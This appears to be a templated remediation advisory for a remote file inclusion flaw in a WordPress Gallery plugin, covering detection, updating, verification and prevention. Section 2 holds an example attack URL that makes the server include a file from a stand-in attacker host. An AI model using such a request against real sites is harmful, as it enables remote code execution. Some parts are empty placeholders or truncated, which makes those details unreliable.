1. Introduction
The Gallery Plugin for WordPress ‘load’ Parameter Remote File Inclusion vulnerability allows an attacker to view arbitrary files or execute code on a vulnerable web server. This is because the plugin does not properly check user input, allowing malicious code to be uploaded and run. This affects websites using the Gallery Plugin for WordPress and could lead to data breaches, website defacement, or complete system compromise. Confidentiality, integrity, and availability are all at risk.
2. Technical Explanation
- Root cause: Insufficient input validation of the ‘load’ parameter in the ‘update_order.php’ script.
- Exploit mechanism: An attacker crafts a malicious URL containing the path to an external PHP file and sends it as the ‘load’ parameter to the vulnerable script. This causes the server to include and execute the remote file. For example, an attacker could use a URL like
http://example.com/wp-content/plugins/gallery/update_order.php?load=http://attacker.com/malicious.php - Scope: WordPress websites using Gallery Plugin versions prior to a patched version.
3. Detection and Assessment
To confirm if your system is vulnerable, check the installed plugin version and scan for suspicious file inclusions in logs.
- Quick checks: Check the plugin’s version number through the WordPress admin interface under ‘Plugins’. Look for versions prior to a patched release.
- Scanning: Nessus or OpenVAS may identify this vulnerability with signature ID 57650. These are examples only and may require updated plugins.
- Logs and evidence: Examine web server access logs for requests to ‘update_order.php’ containing suspicious URLs in the ‘load’ parameter. Look for attempts to include external PHP files.
# Example command placeholder:
# grep "update_order.php?load=" /var/log/apache2/access.log
4. Solution / Remediation Steps
The best way to fix this issue is to update the Gallery Plugin for WordPress to a patched version. If an official patch isn’t available, consider disabling or removing the plugin.
4.1 Preparation
- No services need to be stopped for this update. However, it is recommended to put the website into maintenance mode during the update process. A roll back plan involves restoring from the backup or re-installing the previous plugin version.
- Change windows may be needed depending on business requirements and approval processes.
4.2 Implementation
- Step 1: Log in to your WordPress admin interface.
- Step 2: Navigate to ‘Plugins’.
- Step 3: Locate the Gallery Plugin for WordPress.
- Step 4: If an update is available, click ‘Update Now’.
- Step 5: Verify that the plugin has been updated to the latest version.
4.3 Config or Code Example
Before
After
4.4 Security Practices Relevant to This Vulnerability
Several security practices can help prevent this type of issue.
- Practice 2: Least privilege ensures that even if a vulnerability is exploited, the attacker’s access is limited. Run web applications with minimal necessary permissions.
4.5 Automation (Optional)
If you use a configuration management tool like Ansible, you can automate plugin updates.
---
- name: Update WordPress plugins
hosts: all
tasks:
- name: Check for Gallery Plugin update
command: wp plugin list --update
register: result
- debug:
msg: "Gallery Plugin needs updating"
when: "'gallery' in result.stdout and 'Update available' in result.stdout"
- name: Update Gallery Plugin
command: wp plugin update gallery --allow-root
when: "'gallery' in result.stdout and 'Update available' in result.stdout"
5. Verification / Validation
- Post-fix check: Check the plugin version through the WordPress admin interface to ensure it’s updated.
- Re-test: Attempt to exploit the vulnerability using a malicious URL as described in Section 2. The server should not execute the remote file and should display an error message or block the request.
- Monitoring: Monitor web server logs for any attempts to access ‘update_order.php’ with suspicious URLs in the ‘load’ parameter.
# Post-fix command and expected output
# wp plugin list | grep gallery
# Expected Output: gallery 1.2.3 (latest version)
6. Preventive Measures and Monitoring
Implement security baselines and automated checks to prevent similar issues.
- Baselines: Update your WordPress security baseline to include requirements for plugin updates and secure coding practices, such as input validation.
- Asset and patch process: Establish a regular patch review cycle for WordPress core, plugins, and themes.
7. Risks, Side Effects, and Roll Back
Updating the plugin may introduce compatibility issues with other plugins or themes.
- Risk or side effect 2: Temporary website downtime during the update process. Mitigation: Schedule updates during off-peak hours and use maintenance mode.
8. References and Resources
Links to official advisories and trusted documentation.
- Vendor advisory or bulletin: https://wordpress.org/plugins/gallery/
- NVD or CVE entry: https://cve.